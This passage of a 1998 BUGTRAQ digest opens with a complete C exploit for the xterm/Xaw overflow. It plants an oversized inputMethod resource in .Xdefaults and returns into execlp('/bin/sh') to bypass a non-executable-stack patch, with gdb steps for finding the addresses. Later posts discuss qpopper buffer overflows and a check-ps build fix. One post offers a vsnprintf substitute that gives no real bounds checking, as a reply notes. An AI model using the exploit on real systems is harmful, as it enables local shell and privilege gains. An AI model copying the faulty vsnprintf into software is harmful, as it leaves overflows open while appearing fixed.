> While playing around with dip-3.3.7p I realized that the method I used in my
> previous posting won't do. So I had a look at the source and developed a new
> program. Here it goes:
>
(...)
So.. I also developed some time ago xploit that works around nonexecutable
stackpatch (Linux), but for xterm and Xaw vulnerability.
It seemt that defeating Sorar's stackpatch is easyier than we thought if
program contains any exec* PLT entry. It it contains exec*p we may use any
string to execute ./_anystring_ if we have . in PATH variable.
So here goes my 'sploit:
$ cat 3xterm.c
/*
A simple xploit working around non-executable stack patch! ;)
Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:
Rafa³ Wojtczuk's "Defeating Solar Designer'a Non-executable Stack Patch"
sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on
xterm_exp.c by alcuin
Compile it like this:
gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc
Description:
The sploit simply puts the EXECLP address and its parameters addresses
onto the stack. To work fine you need to look for execlp Program Linkage
Table entry in xterm and for "/bin/sh" string in its text segment...
emsi:~mcmar/hack# gdb xterm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i486-slackware-linux),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) print execlp
$1 = {} 0x804bc78
(gdb) x/s 0x8063d2e
0x8063d2e <_fini+8158>: "/bin/sh"
0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the
riht ones in your case... ;)
GreetZ: bulba, smierc, all of Lam3rZ teem and other Polish HackerZ ;)
*/
#include
#include
#include
#define CONFFILE ".Xdefaults"
#define OLDFILE ".Xdefaults.old"
#define NEWFILE ".Xdefaults.new"
#define EXECLP 0x804bc78 // execlp PLT adress in xterm
#define BIN_SH 0x8063d2e // "/bin/sh" string address in xterm ;)
int *ptr;
void main(int argc, char *argv[]) {
char *home;
FILE *f_in, *f_out;
char buff[16384];
char shellbuf[16384];
char *s;
int i;
if (home = getenv("HOME")) chdir(home);
if (!(f_out = fopen(NEWFILE, "w"))) {
perror("fopen");
exit(1);
}
if (f_in = fopen(CONFFILE, "r")) {
fseek(f_in,0,SEEK_SET);
while (!feof(f_in)) {
fgets(buff,16384,f_in);
for (s=buff;isblank(*s);s++);
if (strncmp(s,"xterm*inputMethod",17)<0)
fputs(buff,f_out);
}
fclose(f_in);
}
/* fill the buffer with nops */
memset(shellbuf, 0x90, sizeof(shellbuf));
shellbuf[sizeof(shellbuf)-1] = 0;
ptr = (int *)(shellbuf+1028);
*ptr++ =EXECLP;
*ptr++ =EXECLP;
*ptr++ =BIN_SH;
*ptr++ =BIN_SH;
*ptr++ = 0;
fputs("xterm*inputMethod:",f_out);
fputs(shellbuf, f_out);
fclose(f_out);
system("/bin/cp "CONFFILE" "OLDFILE);
system("/bin/mv -f "NEWFILE" "CONFFILE);
execl("/usr/X11R6/bin/xterm","xterm",NULL);
}
It contains some useless stuff, but it's 'coz I just use normal xterm
soloit as a base.
RegardZ,
--
___________________________________________________________________________
M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl
"If you can't make it good, make it LOOK good." - Bill Gates
Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty.
------------------------------
Date: Sun, 28 Jun 1998 15:30:00 +0200
From: Magne Oestlyngen
Subject: Re: More patch ideas for qpopper
Aaron D. Gifford wrote:
>
> I noticed that popper.h had a #define for MAXPARMLEN but never used it. I
> decided it's a good idea and added it to my popper on top of some of the other
> patches I've seen here. I bumped up the MAXPARMLEN size to 16. So far on my
> FreeBDS-based system with only 5,000 users, I haven't noticed any problems
> yet.
> Is there a reason the qpopper folks didn't do this in the first place? The
> defined it, but never used it.
This would break APOP, which parameters are a username and a md5sum (32
bytes,
if I read the source correctly).
> Puzzled,
> Aaron out.
--
Systems Administrator, Internet Innherred as
Magne Oestlyngen
------------------------------
Date: Sun, 28 Jun 1998 01:42:25 -0600
From: "Aaron D. Gifford"
Subject: And another qpopper overflow (does this make 3?)
Thank you Miquel van Smoorenburg for explaining to me how
the UIDL handling in pop_dropcopy.c can potentially later result in a buffer
overflow. The first time I saw the patch for pop_dropcopy.c, I looked all
over pop_dropcopy.c and couldn't see any overflow. Then Miquel explained that
the overflow actually ocurrs in pop_udil.c but the prevention of the overflow
is by limiting the uidl length in pop_dropcopy.c.
After further investigation, I see another potential overflow in pop_uidl.c
that can occur even when uidl length is limited to 128 chars. The potential
overflow can occur in the pop_euidl() function in two different spots where
this code appears:
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));
Even with mp->uidl_str limited to 128 chars, the from_hdr(p, mp) code can
return the text from a message's "From:" header which could then overflow the
buffer.
Also, is it just me, or is the from_hdr() function in the pop_uidl.c file
returning a pointer to a non-static buffer? That's wrong, is it not? It is
defined:
char buf[MAXLINELEN], *cp;
Should it not instead be:
char * cp;
static char buf[MAXLINELEN];
Enjoy!
Aaron out.
------------------------------
Date: Sun, 28 Jun 1998 13:48:54 -0400
From: Steven Winikoff
Subject: Re: patch for qpopper remote exploit bug
I apologize for not replying directly to Bugtraq for the sake of proper
threading, but I'm not actually subscribed, so I saw your message on
the archive at http://geek-girl.com/bugtraq/.
Anyhow, you said:
>Digital Unix 3.2G does not seem to have either vsnprintf or snprintf.
Neither does 4.0B.
>However, qpopper under Digital Unix 3.2G does not seem to show the
>vulnerability as discussed on this list even though it contains the
>vulnerable code.
I'm glad to hear that. :-) Nevertheless I installed a patched version
of qpop-2.4 last night on our DEC Unix 4.0B POP server.
I used the following hacked vsnprintf() interface, which I wrote myself
after giving up on finding source elsewhere (eg, the NetBSD version,
which is totally incompatible with the definition of (struct FILE) on
DEC Unix).
This version follows the semantics for vsnprintf() as found in
NetBSD/386 1.2:
8<---------------------------- cut here -------------------------->8
#include
#include
#include
/*
* vsnprintf() -- hacked interface, because DEC OSF/1 doesn't
* have the real thing...
*
* Steven Winikoff
* 1998/06/27
*
* This code is rather feeble-minded; all it does is truncate the
* given string temporarily, call vsprintf() to "print" it, and
* then restore the original string.
*
* We return whatever we got from vsprintf().
*/
int vsnprintf(char *str, size_t n, const char *fmt, va_list ap)
{
int result;
char c;
/** do we even need to bother? **/
if (strlen(str) < n) return(vsprintf(str, fmt, ap));
/** okay, truncate, call vsprintf(), and restore: **/
c = str[n-1];
str[n-1] = '\0'; /* take that! :-) */
result = vsprintf(str, fmt, ap); /* do the write thing :-) */
str[n-1] = c; /* all better now :-) */
return(result);
}
8<---------------------------- cut here -------------------------->8
I don't know if this is helpful at all, but I figured I should pass it
on anyway just in case.
- Steven
________________________________________________________________________
Steven Winikoff | "One of the main causes of the fall of
Concordia University | the Roman Empire was that, lacking
Montreal, QC, Canada | zero, they had no way to indicate
smw@alcor.concordia.ca | successful termination of their C
http://alcor.concordia.ca/~smw | programs." - Robert Firth
------------------------------
Date: Sun, 28 Jun 1998 19:48:30 +0200
From: Duncan Simpson
Subject: check-ps 1.2 alpha 4 compile fix
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
It has come to my attention that various people have had trouble with PID_MAX
not being defined by the header file I assumed it was on their linux systems.
I guess this is just punishment for taking 2.1.107 as typical.
Here is a new version of linux_killscan.h that fixes the problem. You want to
use the -c option to wipe out the previous version. Anything else anyone wants
fixed or added in 1.2alpha5 when it gets released?
There is a report the script discovers it is a linux system and then fails to
dipslay he extra information correctly. Could someone with a 2.0.x kernel
investigate (my system runs 2.1.107 and downgrading will hit various required
updates I have done).
#!/bin/sh
# This is a shell archive (produced by GNU sharutils 4.1).
# To extract the files from this archive, save it to some FILE, remove
# everything before the `!/bin/sh' line above, then type `sh FILE'.
#
# Made on 1998-06-28 19:39 BST by .
# Source directory was `/home/dps/check-ps-1.2'.
#
# Existing files will *not* be overwritten unless `-c' is specified.
#
# This shar contains:
# length mode name
# ------ ---------- ------------------------------------------
# 336 -r--r--r-- linux_killscan.h
#
touch -am 1231235999 $$.touch >/dev/null 2>&1
if test ! -f 1231235999 && test -f $$.touch; then
shar_touch=touch
else
shar_touch=:
echo
echo 'WARNING: not restoring timestamps. Consider getting and'
echo "installing GNU \`touch', distributed in GNU File Utilities..."
echo
fi
rm -f 1231235999 $$.touch
#
# ============= linux_killscan.h ==============
if test -f 'linux_killscan.h' && test X"$1" != X"-c"; then
echo 'x - skipping linux_killscan.h (file already exists)'
else
echo 'x - extracting linux_killscan.h (text)'
sed 's/^X//' << 'SHAR_EOF' > 'linux_killscan.h' &&
/* $Id: linux_killscan.h,v 1.3 1998/06/28 18:33:13 dps Exp $ */
X
/* The following is known about linux */
#include
X
#define KILL_SCAN_WORKS 1
#ifdef PID_MAX
#define MAX_PROC PID_MAX
#else /* no PID_MAX */
/* Need to apply guesswork */
#define MAX_PROC 0x8000 /* Assumes this has stayed the same */
#endif /* PID_MAX */
SHAR_EOF
$shar_touch -am 0628193398 'linux_killscan.h' &&
chmod 0444 'linux_killscan.h' ||
echo 'restore of linux_killscan.h failed'
shar_count="`wc -c < 'linux_killscan.h'`"
test 336 -eq "$shar_count" ||
echo "linux_killscan.h: original size 336, current size $shar_count"
fi
exit 0
- --
Duncan (-:
"software industry, the: unique industry where selling substandard goods is
legal and you can charge extra for fixing the problems."
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv
iQA/AwUBNZaP+Eekq+3VXI08EQIr+gCdFzRh3dl9o7JUAslmjOuxWITfTtsAoLUo
L717PFhWccx1MY0TZWhL6mOb
=mPPv
-----END PGP SIGNATURE-----
------------------------------
Date: Sun, 28 Jun 1998 21:02:18 +0100
From: Ben Laurie
Subject: Re: patch for qpopper remote exploit bug
Steven Winikoff wrote:
> This version follows the semantics for vsnprintf() as found in
> NetBSD/386 1.2:
>
> 8<---------------------------- cut here -------------------------->8
> #include
> #include
> #include
>
> /*
> * vsnprintf() -- hacked interface, because DEC OSF/1 doesn't
> * have the real thing...
> *
> * Steven Winikoff
> * 1998/06/27
> *
> * This code is rather feeble-minded; all it does is truncate the
> * given string temporarily, call vsprintf() to "print" it, and
> * then restore the original string.
> *
> * We return whatever we got from vsprintf().
> */
>
> int vsnprintf(char *str, size_t n, const char *fmt, va_list ap)
> {
> int result;
> char c;
>
> /** do we even need to bother? **/
>
> if (strlen(str) < n) return(vsprintf(str, fmt, ap));
>
> /** okay, truncate, call vsprintf(), and restore: **/
>
> c = str[n-1];
> str[n-1] = '\0'; /* take that! :-) */
> result = vsprintf(str, fmt, ap); /* do the write thing :-) */
> str[n-1] = c; /* all better now :-) */
>
> return(result);
> }
> 8<---------------------------- cut here -------------------------->8
>
> I don't know if this is helpful at all, but I figured I should pass it
> on anyway just in case.
WTF? This doesn't even remotely do what vsnprintf() does!
BTW, Apache has an implementation of vsnprintf() that we use coz not all
platforms supply it. So long as appropriate credits are given and due
regard is paid to licensing and licence compatibility, I see no reason
why people shouldn't use it.
Cheers,
Ben.
--
Ben Laurie |Phone: +44 (181) 735 0686| Apache Group member
Freelance Consultant |Fax: +44 (181) 735 0689|http://www.apache.org/
and Technical Director|Email: ben@algroup.co.uk |
A.L. Digital Ltd, |Apache-SSL author http://www.apache-ssl.org/
London, England. |"Apache: TDG" http://www.ora.com/catalog/apache/
WE'RE RECRUITING! http://www.aldigital.co.uk/recruit/
------------------------------
End of BUGTRAQ Digest - 27 Jun 1998 to 28 Jun 1998
**************************************************